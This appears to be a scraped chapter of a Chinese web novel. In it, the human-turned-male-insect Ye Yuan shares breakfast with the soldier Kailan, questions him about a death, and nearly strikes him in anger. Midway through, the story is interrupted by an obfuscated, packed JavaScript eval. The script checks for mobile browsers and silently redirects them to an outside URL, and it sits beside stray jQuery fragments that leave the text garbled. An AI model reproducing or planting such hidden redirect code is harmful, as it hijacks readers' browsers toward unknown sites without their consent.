默认冷灰
24号文字
方正启体

7. 第一次一起吃饭

作者:锅铲抡冒烟本书字数:K更新时间:
    凯兰在晨光中醒来,他盖着一件毛茸茸的灰色毛毯,蜷缩在沙发旁边的地毯上。


    精神领域的混乱和疼痛感完全消失了,他从来都不曾感受到如此清明,也从来不曾,昨夜的记忆慢慢回笼,感受过那样的意乱情迷。


    原来接受信息素是可以不疼的。


    但还有更多,更多的针锋相对和难堪的话语,他都说了什么?雄虫呢?雄虫是不是已经走了?他慌慌张张地站起来,又腰酸腿软地跌回了地上。


    他顾不上这种异样的感觉,挣扎着起身,披上外套就要匆匆出门。


    明明手已经握上门把,他却不敢开门。


    雄虫说过,他们之间没有任何关系。就算他找到了雄虫,就凭他昨天放肆的姿态...雄虫会怎么看他?


    他都做了什么?


    他是不是再也没有没办法,见到雄虫了?


    凯兰惨白着脸,倚靠在门框上。


    他许久没有接受过信息素,又有惩戒环的抑制,身体机能只能慢吞吞地恢复。因此,他没有察觉门外传来的脚步声。


    门突然开了。


    “凯兰?你在门口做什么?”叶愿提着大包小包,几个小圆滚滚举着一大堆东西陆陆续续地滚了进来。


    她进门忙活了一阵,餐桌上便摆满了热腾腾的各式各样的餐点。


    她转过身去看,雌虫还呆愣在原地。


    叶愿下意识地走过去,用手背测了一下凯兰额头的温度,她小声嘀咕着:“也没发烧啊。”


    她的手还微微带着清晨的凉意,又和着食物的烟火味。


    凯兰仿佛重新回到了现实世界,他哑着嗓子,不确定地呼唤:“雄主?”


    “先去坐下来吃饭吧。”叶愿有些不好意思地放下手,昨天情绪有点上头,不由得说了很重的话。


    她早上刚打电话问了洛尔坎,本来是想问凯兰为什么还没醒,怕昨天折腾地确实有点狠。


    对方实在太热情了,不由自主地问了一下一个虫哪里租房比较便宜。


    结果军医吓了个半死,反复确认凯兰确实是睡着了而不是被她打昏过去了。


    又小心翼翼地赔礼道歉,让她想买哪里的房产就买哪里,最后反复想送给她一套庄园去“弥补凯兰的过失”。


    她才意识到,这件事在虫族可能确实很严重。


    也是,按照虫族的雌雄比例,估计雄虫刚出生,在医院里都能定上800个娃娃亲,哪有一只虫住的道理。


    她虽然不是“叶愿”,但还用着人家的身体。信息素也不太会用,昨天就一味地按照“释放教程”练习,雌虫最后被浓郁的信息素逼得眼泪都流不出来了,眼睛红红的看着她,求饶的话也说不成句。


    就算她没碰雌虫,还是觉得自己有点过分了。一大早就带着小圆滚滚轰轰烈烈地出了门,她也不知道雌虫爱吃什么,只能刷着对方的卡,全买了一遍。


    怎么这么一说,好像还有点渣?


    “咚”的一声把她吓了一跳,雌虫眼睛红红的跪在地上。


    他犹豫了一会,最后还是以雌侍的礼仪,膝行到餐桌旁边,端正地跪在她的椅子旁。


    凯兰感觉眼前这一幕不太真实,他试探性地想去触摸雄虫垂下来的手,又犹豫着变了方向,捏了捏雄虫的衣袖。


    叶愿趁机拉住他的手,凯兰不敢使劲,顺着力,坐到了她旁边的椅子上。


    他有些不知所措地拿起叶愿塞到他手里的勺子,谨慎地仿佛捧着一个要爆炸的炸弹。


    雌虫看上去有很多话想问,但又不敢打扰她吃饭,小心翼翼地吃了半天,面前的粥只凹下去一个小坑。


    叶愿一口吞下一个翠绿色的饭团,看了一眼凯兰说:“吃完,我们讨论一下”雄主”的事。”


    雌虫面前的粥以肉眼不可见的速度消失了。


    她又递了一个饭团过去,雌虫像是对待命令一样,迅速地接过去。


    叶愿实在觉得雌虫这样一板一眼的姿态有些可爱,只是看着他,就忍不住地勾起嘴角。


    他们在晨光下吃着早饭,谁都没说什么,像是怕打破了这一时刻的静谧。


    长久的沉默后,叶愿首先开口了:“你知道有虫在指示雄虫...折磨你?”


    高大的军雌微不可见地轻轻点头。


    “监控有必要担心吗?我们可以去更安全的地方谈话。”


    “您不必担心,我会处理好的。”雌虫低声说。


    “那就好。”叶愿长出一口气,她直视着凯兰,又问:“我可以相信你吗?”


    “您是指是昨日的提议吗?”


    经过昨天的争执,叶愿也明白雌虫的疑惑,毕竟在虫族这个畸形的设定中,雌虫只是困于雄虫的信息素。


    也亏于信息素只能自主控制释放,不然雄虫靠什么立足?


    靠和摆设一样的大脑,还是相较于雌虫极其孱弱的身体?


    这也是为什么她昨天和凯兰说要离开,对方就一改态度。


    雄虫空有高贵的地位,却没有根本的权势,a级、b级按信息素和精神力分了高低后,还是事事都要依赖于雌虫。


    说的过分一点,他们就像是一支精致美丽的花瓶、被圈养在家中的宠物,雌虫向他们许诺优裕的生活,却也不指望什么,好的能提供一点情绪价值,坏的也就默默忍受。


    她昨天和凯兰说要离开,估计和家里鱼缸里的鱼突然开口说要自己出去住没什么区别,在虫族眼里都是一样的荒谬。


    “凯兰,”她突然叫了雌虫的名字,她知道自己也许有些悲观,但不代表这不是事实,她向来不吝啬于把事情往最坏的角度思考。


    她又问了一遍:“现在没有什么雄主,没有什么雌虫、雄虫,我问你,从平等的角度,我可以相信你吗?”


    她还有很重要的事情要做,雄虫的优待只不过是安乐乡的虚幻,雌虫的臣服也不过是限于精神领域的崩溃。


    她不喜趁人之危,也习惯公事公办。


    她已经抛出了她的筹码——我可以给你信息素,没有皇室或贵族控制的信息素,保证你精神领域的稳定,你能给我,我想要的东西吗?


    雌虫放下勺子,他看上去仍是有些疑惑和不习惯,但是他理解的很快。


    他说:“可以。”


    “你是否知道谁在指示雄虫?是或不是。”


    “是。”


    “雄虫死亡和他们是否有关系。”


    “是。”


    “雄虫的死亡是否和你有关?”


    凯兰的眼神变了,墨绿色的眼睛晦暗不明,迟疑着没说出答案。


    “是。”这个停顿已经足以让叶愿替他给出了答案。


    他们之间又陷入了沉默。


    凯兰惊惧于这个对话的发生,他犹疑不定地打量着叶愿,在接受了所有不合常理的相处后,他才第一次真正认识到这个雄虫的不同。


    “怎么?”叶愿笑了笑,说出的话却刻薄地惊人:“只能接受我对你好,照顾你,下跪讨好蒙蔽我,获得信息素便万事大吉。但一有不需要就借刀杀人或者直接自己动手?如果我昨天拒绝和你合作,不提供信息素,我是不是和他一个下场?”


    她说出口,才发现自己一时情绪激动,说了好几个成语,之前也没见过自己这么文采斐然。


    可能还是被昨天雌虫的试探和威胁气到了,冷静,冷静,不气,为自己的乳腺着想。


    看到凯兰困惑和惊讶混杂在一起的表情,墨绿色的眼睛雾蒙蒙地看上去还有一点委屈。


    叶愿无名火又起,她火冒三丈地想:亏我在那分析半天,还觉得他可怜碰上这样一个智障黑心雄虫,被美色所蒙蔽心疼他。


    这个外星死虫子身体反正又没有乳腺,我发火怎么了?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574979|171525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我管这个雌虫的死活,今天还一大早跑出去买早餐,结果是一个窝出来的黑心芝麻丸,不知感恩不懂珍惜!


    她想着想着气极了,高高地挥起手就要打下去。


    雌虫明显还在思考,看着她这副样子身体却下意识地做出了反应,从椅子滑到地上跪了下去,也没有任何抵抗,就直挺挺地跪在那里。


    叶愿一惊,手都快打到雌虫脸上又赶紧缩了回来,磕到桌角一时疼的呲牙咧嘴。她捂着手,却忘了吹,心里只想着:我为什么会发这么大的火?


    这个情绪太陌生了,异样地在她心中咆哮,让她都认不清自己。


    她惊慌极了,此刻心里只有一个想法。


    “我要走!”


    这几个字不成语调,她明明想平稳地说,却控制不住地吼出了声。


    大门旁有一个衣帽间,门开着,背面镶着一面大大的全身镜,她看见跪在地上的凯兰和站在雌虫身前的她,明明雄虫的眉眼和她很像,此刻却狰狞着五官陌生地回望着她。


    凯兰离那面镜子很近,他看着雄虫脸上熟悉的表情,稍微侧了身,藏起脆弱的部位,以免雄虫砸碎镜子的时候割伤大血管。


    叶愿却没有砸,她只是静静地看着镜子,然后过去把门关上了。


    她推开椅子,安静地盘腿坐到地上。


    雌虫却在这个时候却开口了,他看着雄虫磕红的手,低声说:“我先带您去看医生吧。”


    叶愿抬起头,雌虫极为关切地看着她。他低声说:“是贱...我的错。”


    虫族世界,真的搞不懂。明明刚刚还剑拔弩张,谈论去留生死,现在却在关心一个连淤青都没形成的伤口。叶愿没好气地看了一眼红痕,说它是伤口还是抬举它了。


    “我没事。”


    雌虫却自顾自地道歉:“虽然有些词汇没听懂,但是我想我应该没有理解错。”


    “您...”


    凯兰看着面前这奇异的、不同寻常的虫,不知是被残留的信息素影响还是出于悸动的心脏。


    他不由自主地轻声说:“您很不一样,我必须先对您的试探表示歉意,是我过于粗鲁和莽撞,用见不得光的手段试探您。”


    一股莫名的酸涩情绪在他胸中徘徊,该从何说起?


    他只觉得自己有太多做错的地方,但是理智和之前的经验告诉他,为了防范皇室的介入、为了保证精神领域的稳定,为了继续保持清醒和理智地支撑起第一军团,他应该这么做。


    在知道“叶愿”的死和他有关后,雄虫会害怕吧,会厌恶他吧。


    雄虫想要离开,若他自请罚,以“威逼和胁迫雄主”重罪算的话,雄保会那边会强制撤销他们之间的关系,皇室就算不满计划失败,但是这是律法强制执行,他们也无能为力,不会为难雄虫。


    以军功在身,没有雄虫的特权,皇室手伸的再长也不可能割去他的翅翼。


    就是他精神领域还没完全恢复,这次进了惩戒所,也不知道要多久才能出来。他得先回军部安排,让白林再代领一段时间公务。


    只是一瞬间,凯兰心中便有了决断,他眷念地看了雄虫一眼,这个曾经最为痛恨的模样,现在却怎么也看不够一般。


    “阁下,我先带您去医院吧。”


    雄虫的手此刻带着青紫,磕到的地方已经肿了起来。


    这是什么脆弱的体质,叶愿惊呆了。


    只不过就是磕了一下,凯兰抓住她的手腕后也仅仅是泛红了一瞬。


    或者说,雌虫就算在那样混乱的情况下,也记得不能伤到她。


    这个想法像羽毛轻柔地蹭过了她的心,荡起的空气也是软绵绵的,却轻易吹散了心中莫名的怒火。


    “好吧,去找昨天那个医生吧,我答应他要带你去检查一下精神领域。”


    叶愿听见自己柔和地说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)